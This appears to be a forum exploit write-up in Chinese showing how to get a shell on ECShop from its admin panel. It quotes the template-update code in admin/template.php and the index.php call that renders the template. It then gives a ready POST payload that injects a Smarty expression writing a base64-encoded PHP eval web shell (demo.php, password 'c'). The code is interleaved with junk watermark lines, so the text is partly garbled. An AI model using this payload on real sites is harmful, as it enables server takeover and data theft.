Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
; w4 K0 @" }8 I0 U9 B3 S
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

: v2 Q( m! ?* U+ I1 if ($_REQUEST['act'] == 'update_library')
. T3 m6 R+ h; O3 o! v4 k
2   
3 D$ y( \1 M7 z, l6 r6 H1 k$ a
- ]8 e- j1 q, ]0 |5 y3 b3 {

4     check_authz_json('library_manage');
: R: ^  \$ ?. S+ w! @7 Q4 Y
5   

4 m' O$ m% z0 z( ^6     $html = stripslashes(json_str_iconv($_POST['html']));
8 k: F! u9 W2 |. c1 Y
7   
, B) x& F* E9 Q) Q! H$ U! V
& w! W' i- I/ E& b4 e8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

; P2 z4 D! K; E) l% i7 ~10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

! O! U4 Q/ G0 c8 ]11   
2 r$ J' m" Y" {! g. A
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

: E" c( l* J) g6 D13   
& {- ]& O+ W' W% f# p7 B
* F0 C& C4 H$ X# W# H/ [14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
& S. F) h1 S8 \# G, F  H
15     {
. W+ A- x( P9 k: ]' t% a
1 |) f. C3 m6 D% e, m16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. m; _9 q: f' A; }% W) a
# H. Z1 A2 q1 }. w17         make_json_result('', $_LANG['update_lib_success']);

+ V7 P, w/ y# h! S18     }
! j, o+ b& W1 ^8 G* ^9 z3 b
19     else

  C5 [7 X/ u& V$ e20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
$ r- `$ ]" L1 i& o: M) S& O, M; c
23 }
- W/ x8 b* U. \$ d; V
+ m: T4 T" o5 B那么找个比较方便调用了模板的文件
index.php
1 L! c! R. t: f- I! Z
1 if ($act == 'cat_rec')
$ u- s# z; _* T% O
2   
8 |4 i! b  J( X) B7 I% {% {
3 {
2 f) k; s8 m5 H
4   

) p4 _. \$ P" R, y9 C% Y( @5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
) I9 Y# p0 S3 f
! m4 _' C  J+ ^. f6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- n* b) v2 g! `5 N% K
8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

* f7 Z: x8 b4 _; R6 y# N+ t6 E% C10   

7 B1 W9 U4 L/ A4 E( v  V11     include_once('includes/cls_json.php');
& W8 Y1 e* G( ~
3 F" c# ?5 m% S7 x, H  A1 K8 S12   

% e/ X4 g9 K$ V0 f, S3 C1 K13     $json = new JSON;

14   
0 s* e% C+ E0 I0 T$ r% [
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
3 n1 o- b/ H! ^% Y1 o
17     $children = get_children($cat_id);

* g6 c, b* B1 S18   

8 O, g+ a* a( _3 K! c6 V' G/ \4 E19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

6 C! C% n, y0 S* \20   
& j2 t5 I6 T% d2 H6 r
21     $smarty->assign('cat_rec_sign', 1);

1 Q6 _! \; i% a/ }22   

" k- b, B$ n1 M+ e8 b+ E23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
& L" O1 T5 i& l2 j+ j/ P5 t
) H( T4 r0 ~% W7 U24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
) ?7 t6 F& L1 c
$ B7 @" s" }; `26   
/ y$ f5 t& Y& T/ G
27         echo $rec_array[$rec_type];

# w1 I5 F2 l1 J% x28   

* @' U* @* |5 d  R' _29     die($json->encode($result));
- ], e# _4 B4 U3 G9 J
30   
1 N& _/ R$ L6 A! }/ Z
31 }
0 e3 O* U  @9 q2 r  l. l9 {
. Y4 G: u2 k+ |$ M9 f9 D( e4 x% Z那么就有利用方法了
) J" p& w) B* O: r* j2 Upost包到http://localhost/ec/admin/template.php?act=update_library
* R: j8 ]" z4 a* L5 P5 s) sPost内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

" o+ P4 S: @4 r) U5 ]* i1 C1 m: p然后访问http://localhost/ec/index.php?act=cat_rec
( f6 {: J! t/ K) C6 w. ^' P0 L
# M& \& @  B3 m' {shel地址：http://localhost/ec/demo.php
密码c
6 e+ D8 P8 B3 K/ L! a
7 A; Z8 {. U/ t! N9 R9 f% R